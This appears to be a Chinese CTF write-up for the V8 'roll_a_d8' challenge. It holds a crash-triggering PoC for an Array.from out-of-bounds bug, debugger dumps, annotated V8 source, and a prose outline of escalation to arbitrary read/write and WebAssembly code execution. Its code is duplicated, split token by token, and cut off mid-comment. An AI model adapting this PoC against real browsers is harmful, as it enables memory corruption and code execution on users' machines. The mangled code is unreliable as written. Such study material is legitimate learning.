-
-
[原创]roll_a_d8新人向Writeup
-
发表于: 2021-8-5 14:21 17758
-
因为最近想尝试一些不同的东西,所以就找了几道V8
的CTF
题目来做,权当涨涨见识,自然这篇文章也就算不上是一篇入门文章或者是浏览器漏洞分析(因为我自己也不会),最多算是踩坑记录,如果有错误的话欢迎师傅们指出。
在题目所给的链接中可以找到修复bug的commit,接着我们就得到了漏洞版本的hash
值和diff
文件,以及一个poc
文件。
首先根据hash
值回退到漏洞版本
漫长的等待之后我们用编译好的d8
运行poc.js
,成功触发crash
。
开始分析poc
之前,很有必要了解一下数组的对象结构:
更详细的表述请参考文末的链接,接着来看poc
:
首先我们创建了oobArray
数组,接着以function() { return oobArray }
作为Array.from
方法运行时使用的this
值,和一个带有迭代器的对象作为参数进行执行。这里我参考了一下polyfill
的Array.from
实现来理解为什么要这样设置参数。
注释应该挺清楚了,function() { return oobArray }
做参数可以使得oobArray
数组本身被修改。可以看看下面这个Demo
:
再看看第二个参数,是一个带有迭代器的对象。其中,在迭代结束的时候将oobArray.Length
设置为0。分别比较一下置零和未置零的oobArray
的状态。
JSArray
的elements
结构指向一个足够大的数组,但是在将oobArray.length
置零后,JSArray
的elements
结构指向了FixedArray[0]
这个空数组。此时JSArray
的length
结构依然是8224
,自然造成了越界读写。我们对比一下常规的length
置零:
正常情况下,FixedArray
会在length被置零之后释放掉;在poc
中,FixedArray
已经被释放,但是length
却依然保持着置零之前的值。根据polyfill
中array.from
的实现,漏洞成因大概是array.from
内部只考虑了a = new Array(0);
这种情况,而没有想到将this
设置为function() { return oobArray }
可以返回原数组对象。所以在迭代结束的时候,并没有检查数组的空间是否已经被释放,依然对数组的length
进行了赋值。当然,具体实现我们要去源码看一下。
只修改了GenerateSetLength
函数,将原本的SmiLessThan
改成了SmiNotEqual
,推测是poc构造了length_smi > old_length
的情况,并没有跳转去runtime
来进行内存缩减,而是转去执行了StoreObjectFieldNoWriteBarrier
函数。不过我没在这里看起,因为参数的含义都不知道。看了一下调用关系发现该函数在Array.from
的内部实现中有调用,所以先去看一下Array.from
。
几个关键的地方都写注释了,最关键的就是ConstructArrayLike
函数返回了一个已经创建好的数组,而非预期中length=0
的数组。接着看看GenerateSetLength
函数的具体实现:
光看源码其实有好几个点看不懂,有些函数的底层实现对我来说还是有点复杂的,读的时候总感觉没那味儿,不过参考了polyfill
和ECMA-262标准之后基本全通了。GenerateSetLength
函数总是以为传入的数组就是新创建的数组,old_length
是不会小于length_smi
的,但我们传入了一个早就创建好的数组,并且修改了数组的length
,导致elements
结构指向的数组被释放了。之后GenerateSetLength
函数内部在判断的时候,没想到数组的length
已经变成了0
,不仅并没有触发内存紧缩,还把巨大的索引值length_smi
又赋值给了数组的length
,最终造成了数组的length
保持着未释放前的值,而数组却早就释放了的情况。
银师傅在release
版本使用job
等命令的方法我并没有成功,所以还是选择了放弃job
命令。到目前为止,我们通过漏洞已经实现了越界读写的能力,为了达到我们的终极目标(任意代码执行),我们需要构建更加强大的原语。
做到这一步,我首先想的就是能不能像内核一样,用越界读写来操作Bitmap
对象,通过溢出修改pvscan0
来达到任意地址读/写的目的。结果还真有这么一招,ES2015推出之后,JavaScript
开始支持在原始二进制缓冲区中读取和写入数据,这个缓冲区被称为ArrayBuffer。具体结构如下:
也就是说,只要我们可以通过OOB
修改了ArrayBuffer->kBackingStoreOffset
,就可以随意操作JSArrayBuffer
指向的内存了。不过,ArrayBuffer
是不能直接操作的,我们需要通过TypedArray来进行数据访问,示意图如下:
接着要思考如何把ArrayBuffer
放置到我们的oobarray
之后,我们申请大量的带有特征值的ArrayBuffer
,再通过oobarray
来搜索特征值,就可以找到可用的ArrayBuffer
。另外当前版本的ArrayBuffer
只能用Float64Array
来读写八字节的内存单元,所以我们不仅要在数组中定义浮点数,还要实现Float64和Uint64的转换。部分代码如下:
除了ArrayBuffer
之外,我们还可以在oobArray
之后布置普通对象,如果将目标对象绑定到普通对象的in-object属性
,那么就可以通过oobArray
的越界读来泄露目标对象的所在地址,关于布置和查找的方法和ArrayBuffer
是一样的。
除常规的linux
利用手法之外,其实我们还可以通过WebAssembly来进行任意代码执行,这个网站可能会帮到你。具体步骤如下:
代码如下:
StarCTF 2019 v8 off-by-one漏洞学习笔记
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset
-
-
hard
1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools
/
dev
/
v8gen.py x64.debug
ninja
-
C out.gn
/
x64.debug d8
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset
-
-
hard
1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools
/
dev
/
v8gen.py x64.debug
ninja
-
C out.gn
/
x64.debug d8
JSArray
0x0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kMapOffset |
0x8
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kPropertiesOffset |
0x10
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
JSFixedArray
|kElementsOffset
+
-
-
-
-
-
-
-
-
-
-
-
>
0x0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0x18
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kMapOffset |
|kLengthOffset |
0x8
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0x20
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kLengthOffset |
0x10
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
0
|
0x18
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
1
|
0x20
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
2
|
0x28
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|... |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
JSArray
0x0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kMapOffset |
0x8
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kPropertiesOffset |
0x10
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
JSFixedArray
|kElementsOffset
+
-
-
-
-
-
-
-
-
-
-
-
>
0x0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0x18
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kMapOffset |
|kLengthOffset |
0x8
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0x20
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|kLengthOffset |
0x10
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
0
|
0x18
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
1
|
0x20
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|element
2
|
0x28
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|... |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
let oobArray
=
[];
let maxSize
=
1028
*
8
;
/
/
Array.
from
() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
/
/
call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.
from
.call(function() {
return
oobArray }, {[Symbol.iterator] : _
=
> (
{
/
/
自己实现的迭代器
counter :
0
,
next
() {
let result
=
this.counter
+
+
;
if
(this.counter > maxSize) {
/
/
迭代结束之后将length置零
oobArray.length
=
0
;
return
{done: true};
}
else
{
return
{value: result, done: false};
}
}
}
) });
/
/
之后触发崩溃
oobArray[oobArray.length
-
1
]
=
0x41414141
;
let oobArray
=
[];
let maxSize
=
1028
*
8
;
/
/
Array.
from
() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
/
/
call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.
from
.call(function() {
return
oobArray }, {[Symbol.iterator] : _
=
> (
{
/
/
自己实现的迭代器
counter :
0
,
next
() {
let result
=
this.counter
+
+
;
if
(this.counter > maxSize) {
/
/
迭代结束之后将length置零
oobArray.length
=
0
;
return
{done: true};
}
else
{
return
{value: result, done: false};
}
}
}
) });
/
/
之后触发崩溃
oobArray[oobArray.length
-
1
]
=
0x41414141
;
/
/
省略了一大堆其他的代码,完整版 https:
/
/
github.com
/
inexorabletash
/
polyfill
/
blob
/
master
/
es6.js
/
/
22.1
.
2.1
Array.
from
( items [ , mapfn [ , thisArg ] ] )
define(
Array,
'from'
,
function
from
(items) {
var c
=
strict(this);
/
/
this 就是 function() {
return
oobArray }
/
/
判断是否可以迭代
var usingIterator
=
GetMethod(items, $$iterator);
if
(usingIterator !
=
=
undefined) {
if
(IsConstructor(c)) {
/
/
IsConstructor函数检查对象是否为构造函数,此处返回true
/
*
当代码 new Foo(...) 执行时,会发生以下事情:
1.
一个继承自 Foo.prototype 的新对象被创建。
2.
使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
3.
由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤
1
创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
*
/
var a
=
new c();
/
/
结合上面这么一大堆字,可以得出 a
=
oobArray
}
else
{
a
=
new Array(
0
);
}
var iterator
=
GetIterator(items, usingIterator);
var k
=
0
;
while
(true) {
var
next
=
IteratorStep(iterator);
if
(
next
=
=
=
false) {
a.length
=
k;
/
/
oobArray.length
=
k
return
a;
/
/
return
oobArray
}
a[k]
=
mappedValue;
/
/
oobArray[k]
=
mappedValue
k
+
=
1
;
}
}});
/
/
省略了一大堆其他的代码,完整版 https:
/
/
github.com
/
inexorabletash
/
polyfill
/
blob
/
master
/
es6.js
/
/
22.1
.
2.1
Array.
from
( items [ , mapfn [ , thisArg ] ] )
define(
Array,
'from'
,
function
from
(items) {
var c
=
strict(this);
/
/
this 就是 function() {
return
oobArray }
/
/
判断是否可以迭代
var usingIterator
=
GetMethod(items, $$iterator);
if
(usingIterator !
=
=
undefined) {
if
(IsConstructor(c)) {
/
/
IsConstructor函数检查对象是否为构造函数,此处返回true
/
*
当代码 new Foo(...) 执行时,会发生以下事情:
1.
一个继承自 Foo.prototype 的新对象被创建。
2.
使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
3.
由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤
1
创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
*
/
var a
=
new c();
/
/
结合上面这么一大堆字,可以得出 a
=
oobArray
}
else
{
a
=
new Array(
0
);
}
var iterator
=
GetIterator(items, usingIterator);
var k
=
0
;
while
(true) {
var
next
=
IteratorStep(iterator);
if
(
next
=
=
=
false) {
a.length
=
k;
/
/
oobArray.length
=
k
return
a;
/
/
return
oobArray
}
a[k]
=
mappedValue;
/
/
oobArray[k]
=
mappedValue
k
+
=
1
;
}
}});
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray
=
[];
%
DebugPrint(oobArray);
Array.
from
.call(function() {
return
oobArray }, [
1
,
2
,
3
]);
%
DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~
/
vvvvv8
/
v8
/
out.gn
/
x64.debug
/
d8
-
-
allow
-
natives
-
syntax test.js
DebugPrint:
0x1fca3d08d4f9
: [JSArray]
-
map
:
0x1d335e02571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x1b4d6e385539
<JSArray[
0
]>
-
elements:
0xa3822902251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
0
-
properties:
0xa3822902251
<FixedArray[
0
]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
DebugPrint:
0x1fca3d08d4f9
: [JSArray]
-
map
:
0x1d335e02571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x1b4d6e385539
<JSArray[
0
]>
-
elements:
0x1fca3d08d761
<FixedArray[
17
]> [PACKED_SMI_ELEMENTS]
-
length:
3
-
properties:
0xa3822902251
<FixedArray[
0
]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x1fca3d08d761
<FixedArray[
17
]> {
0
:
1
1
:
2
2
:
3
3
-
16
:
0xa3822902321
<the_hole>
}
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray
=
[];
%
DebugPrint(oobArray);
Array.
from
.call(function() {
return
oobArray }, [
1
,
2
,
3
]);
%
DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~
/
vvvvv8
/
v8
/
out.gn
/
x64.debug
/
d8
-
-
allow
-
natives
-
syntax test.js
DebugPrint:
0x1fca3d08d4f9
: [JSArray]
-
map
:
0x1d335e02571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x1b4d6e385539
<JSArray[
0
]>
-
elements:
0xa3822902251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
0
-
properties:
0xa3822902251
<FixedArray[
0
]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
DebugPrint:
0x1fca3d08d4f9
: [JSArray]
-
map
:
0x1d335e02571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x1b4d6e385539
<JSArray[
0
]>
-
elements:
0x1fca3d08d761
<FixedArray[
17
]> [PACKED_SMI_ELEMENTS]
-
length:
3
-
properties:
0xa3822902251
<FixedArray[
0
]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x1fca3d08d761
<FixedArray[
17
]> {
0
:
1
1
:
2
2
:
3
3
-
16
:
0xa3822902321
<the_hole>
}
# 迭代结束没有将oobArray.length置零
pwndbg> job
0x266f6b90da39
0x266f6b90da39
: [JSArray]
-
map
:
0x2472db302571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x34d88a085539
<JSArray[
0
]>
-
elements:
0x1fb3c180ef81
<FixedArray[
10018
]> [PACKED_SMI_ELEMENTS]
-
length:
8224
-
properties:
0xa0a6f682251
<FixedArray[
0
]> {
#length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x1fb3c180ef81
<FixedArray[
10018
]> {
省略参数
:
0xa0a6f682321
<the_hole>
}
# 迭代结束将oobArray.length置零
pwndbg> job
0x213fb0f0da39
0x213fb0f0da39
: [JSArray]
-
map
:
0x27d1d0202571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x8fc75385539
<JSArray[
0
]>
-
elements:
0x10d45dc02251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
8224
-
properties:
0x10d45dc02251
<FixedArray[
0
]> {
#length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
}
# 迭代结束没有将oobArray.length置零
pwndbg> job
0x266f6b90da39
0x266f6b90da39
: [JSArray]
-
map
:
0x2472db302571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x34d88a085539
<JSArray[
0
]>
-
elements:
0x1fb3c180ef81
<FixedArray[
10018
]> [PACKED_SMI_ELEMENTS]
-
length:
8224
-
properties:
0xa0a6f682251
<FixedArray[
0
]> {
#length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x1fb3c180ef81
<FixedArray[
10018
]> {
省略参数
:
0xa0a6f682321
<the_hole>
}
# 迭代结束将oobArray.length置零
pwndbg> job
0x213fb0f0da39
0x213fb0f0da39
: [JSArray]
-
map
:
0x27d1d0202571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x8fc75385539
<JSArray[
0
]>
-
elements:
0x10d45dc02251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
8224
-
properties:
0x10d45dc02251
<FixedArray[
0
]> {
#length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
}
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray
=
[
1
,
2
,
3
];
%
DebugPrint(oobArray);
oobArray.length
=
0
;
%
DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~
/
vvvvv8
/
v8
/
out.gn
/
x64.debug
/
d8
-
-
allow
-
natives
-
syntax test.js
DebugPrint:
0x112f1d58d4d1
: [JSArray]
-
map
:
0x39b574b82571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x195f2ce05539
<JSArray[
0
]>
-
elements:
0x112f1d58d479
<FixedArray[
3
]> [PACKED_SMI_ELEMENTS (COW)]
-
length:
3
-
properties:
0x1262e4482251
<FixedArray[
0
]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x112f1d58d479
<FixedArray[
3
]> {
0
:
1
1
:
2
2
:
3
}
DebugPrint:
0x112f1d58d4d1
: [JSArray]
-
map
:
0x39b574b82571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x195f2ce05539
<JSArray[
0
]>
-
elements:
0x1262e4482251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
0
-
properties:
0x1262e4482251
<FixedArray[
0
]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray
=
[
1
,
2
,
3
];
%
DebugPrint(oobArray);
oobArray.length
=
0
;
%
DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~
/
vvvvv8
/
v8
/
out.gn
/
x64.debug
/
d8
-
-
allow
-
natives
-
syntax test.js
DebugPrint:
0x112f1d58d4d1
: [JSArray]
-
map
:
0x39b574b82571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x195f2ce05539
<JSArray[
0
]>
-
elements:
0x112f1d58d479
<FixedArray[
3
]> [PACKED_SMI_ELEMENTS (COW)]
-
length:
3
-
properties:
0x1262e4482251
<FixedArray[
0
]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x112f1d58d479
<FixedArray[
3
]> {
0
:
1
1
:
2
2
:
3
}
DebugPrint:
0x112f1d58d4d1
: [JSArray]
-
map
:
0x39b574b82571
<
Map
(PACKED_SMI_ELEMENTS)> [FastProperties]
-
prototype:
0x195f2ce05539
<JSArray[
0
]>
-
elements:
0x1262e4482251
<FixedArray[
0
]> [PACKED_SMI_ELEMENTS]
-
length:
0
-
properties:
0x1262e4482251
<FixedArray[
0
]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
/
/
省略了一些,完整代码见src\builtins\builtins
-
array
-
gen.cc
/
/
ES
#sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
/
/
this 就是 function() {
return
oobArray }
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
/
/
判断array_like是否可以迭代
Label iterable(this), not_iterable(this), finished(this), if_exception(this);
TNode<
Object
> this_arg
=
args.GetOptionalArgumentValue(
2
);
TNode<
Object
> items
=
args.GetOptionalArgumentValue(
0
);
/
/
The spec doesn't require ToObject to be called directly on the iterable
/
/
branch, but it's part of GetMethod that
is
in
the spec.
/
/
array_like就是我们传入的带有迭代器的对象
TNode<JSReceiver> array_like
=
ToObject(context, items);
/
/
定义array和length
TVARIABLE(
Object
, array);
TVARIABLE(Number, length);
/
/
Determine whether items[Symbol.iterator]
is
defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node
*
iterator_method
=
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
BIND(&iterable);
{
/
/
array_like 有我们自己实现的迭代器,所以可以执行到这里
TVARIABLE(Number, index, SmiConstant(
0
));
TVARIABLE(
Object
, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
/
/
这里很关键,官方的注释虽然说会返回一个length为
0
的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
/
*
/
/
如果this值是构造函数的话就直接调用并返回结果
BIND(&is_constructor);
{
array
=
CAST(
ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
Goto(&done);
}
*
/
/
/
Construct the output array with empty length.
array
=
ConstructArrayLike(context, args.GetReceiver());
/
/
Actually get the iterator
and
throw
if
the iterator method does
not
yield
/
/
one.
IteratorRecord iterator_record
=
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context
=
LoadNativeContext(context);
TNode<
Object
> fast_iterator_result_map
=
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
/
/
进行迭代
BIND(&loop);
{
/
/
判断迭代是否结束
/
/
Loop
while
iterator
is
not
done.
TNode<
Object
>
next
=
CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(
Object
, value,
CAST(iterator_assembler.IteratorValue(
context,
next
, fast_iterator_result_map)));
/
/
将迭代器的返回值存入oobArray
/
/
Store the result
in
the output
object
(catching
any
exceptions so the
/
/
iterator can be closed).
Node
*
define_status
=
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
/
/
index
+
+
index
=
NumberInc(index.value());
});
Goto(&loop);
}
BIND(&loop_done);
{
/
/
将索引值index赋值给length
length
=
index;
Goto(&finished);
}
BIND(&on_exception);
{
/
/
Close the iterator, rethrowing either the passed exception
or
/
/
exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
BIND(&finished);
/
/
给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
/
/
Finally
set
the length on the output
and
return
it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
/
/
省略了一些,完整代码见src\builtins\builtins
-
array
-
gen.cc
/
/
ES
#sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
/
/
this 就是 function() {
return
oobArray }
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
/
/
判断array_like是否可以迭代
Label iterable(this), not_iterable(this), finished(this), if_exception(this);
TNode<
Object
> this_arg
=
args.GetOptionalArgumentValue(
2
);
TNode<
Object
> items
=
args.GetOptionalArgumentValue(
0
);
/
/
The spec doesn't require ToObject to be called directly on the iterable
/
/
branch, but it's part of GetMethod that
is
in
the spec.
/
/
array_like就是我们传入的带有迭代器的对象
TNode<JSReceiver> array_like
=
ToObject(context, items);
/
/
定义array和length
TVARIABLE(
Object
, array);
TVARIABLE(Number, length);
/
/
Determine whether items[Symbol.iterator]
is
defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node
*
iterator_method
=
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
BIND(&iterable);
{
/
/
array_like 有我们自己实现的迭代器,所以可以执行到这里
TVARIABLE(Number, index, SmiConstant(
0
));
TVARIABLE(
Object
, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
/
/
这里很关键,官方的注释虽然说会返回一个length为
0
的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
/
*
/
/
如果this值是构造函数的话就直接调用并返回结果
BIND(&is_constructor);
{
array
=
CAST(
ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
Goto(&done);
}
*
/
/
/
Construct the output array with empty length.
array
=
ConstructArrayLike(context, args.GetReceiver());
/
/
Actually get the iterator
and
throw
if
the iterator method does
not
yield
/
/
one.
IteratorRecord iterator_record
=
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context
=
LoadNativeContext(context);
TNode<
Object
> fast_iterator_result_map
=
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
/
/
进行迭代
BIND(&loop);
{
/
/
判断迭代是否结束
/
/
Loop
while
iterator
is
not
done.
TNode<
Object
>
next
=
CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(
Object
, value,
CAST(iterator_assembler.IteratorValue(
context,
next
, fast_iterator_result_map)));
/
/
将迭代器的返回值存入oobArray
/
/
Store the result
in
the output
object
(catching
any
exceptions so the
/
/
iterator can be closed).
Node
*
define_status
=
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
/
/
index
+
+
index
=
NumberInc(index.value());
});
Goto(&loop);
}
BIND(&loop_done);
{
/
/
将索引值index赋值给length
length
=
index;
Goto(&finished);
}
BIND(&on_exception);
{
/
/
Close the iterator, rethrowing either the passed exception
or
/
/
exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
BIND(&finished);
/
/
给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
/
/
Finally
set
the length on the output
and
return
it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
void GenerateSetLength(TNode<Context> context, TNode<
Object
> array,
TNode<Number> length)
{
Label fast(this), runtime(this), done(this);
/
/
Only
set
the length
in
this stub
if
/
/
1
) the array has fast elements,
/
/
2
) the length
is
writable,
/
/
3
) the new length
is
greater than
or
equal to the old length.
/
/
1
) Check that the array has fast elements.
/
/
TODO(delphick): Consider changing this since it does an an unnecessary
/
/
check
for
SMIs.
/
/
TODO(delphick): Also we could hoist this to after the array construction
/
/
and
copy the args into array
in
the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
/
/
fast_array
=
array
TNode<JSArray> fast_array
=
CAST(array);
/
/
length_smi
=
index
/
/
old_length
=
array.length
=
0
TNode<Smi> length_smi
=
CAST(length);
TNode<Smi> old_length
=
LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
/
/
2
) Ensure that the length
is
writable.
/
/
TODO(delphick): This check may be redundant due to the
/
/
BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
/
/
3
) If the created array already has a length greater than required,
/
/
then use the runtime to
set
the
property
as that will insert holes
/
/
into the excess elements
and
/
or
shrink the backing store.
/
/
上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,
0
<
8224
。
/
/
所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
/
/
将oobArray的length设置为length_smi
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node
*
>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};
void GenerateSetLength(TNode<Context> context, TNode<
Object
> array,
TNode<Number> length)
{
Label fast(this), runtime(this), done(this);
/
/
Only
set
the length
in
this stub
if
/
/
1
) the array has fast elements,
/
/
2
) the length
is
writable,
/
/
3
) the new length
is
greater than
or
equal to the old length.
/
/
1
) Check that the array has fast elements.
/
/
TODO(delphick): Consider changing this since it does an an unnecessary
/
/
check
for
SMIs.
/
/
TODO(delphick): Also we could hoist this to after the array construction
/
/
and
copy the args into array
in
the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
/
/
fast_array
=
array
TNode<JSArray> fast_array
=
CAST(array);
/
/
length_smi
=
index
/
/
old_length
=
array.length
=
0
TNode<Smi> length_smi
=
CAST(length);
TNode<Smi> old_length
=
LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
/
/
2
) Ensure that the length
is
writable.
/
/
TODO(delphick): This check may be redundant due to the
/
/
BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
/
/
3
) If the created array already has a length greater than required,
/
/
then use the runtime to
set
the
property
as that will insert holes
/
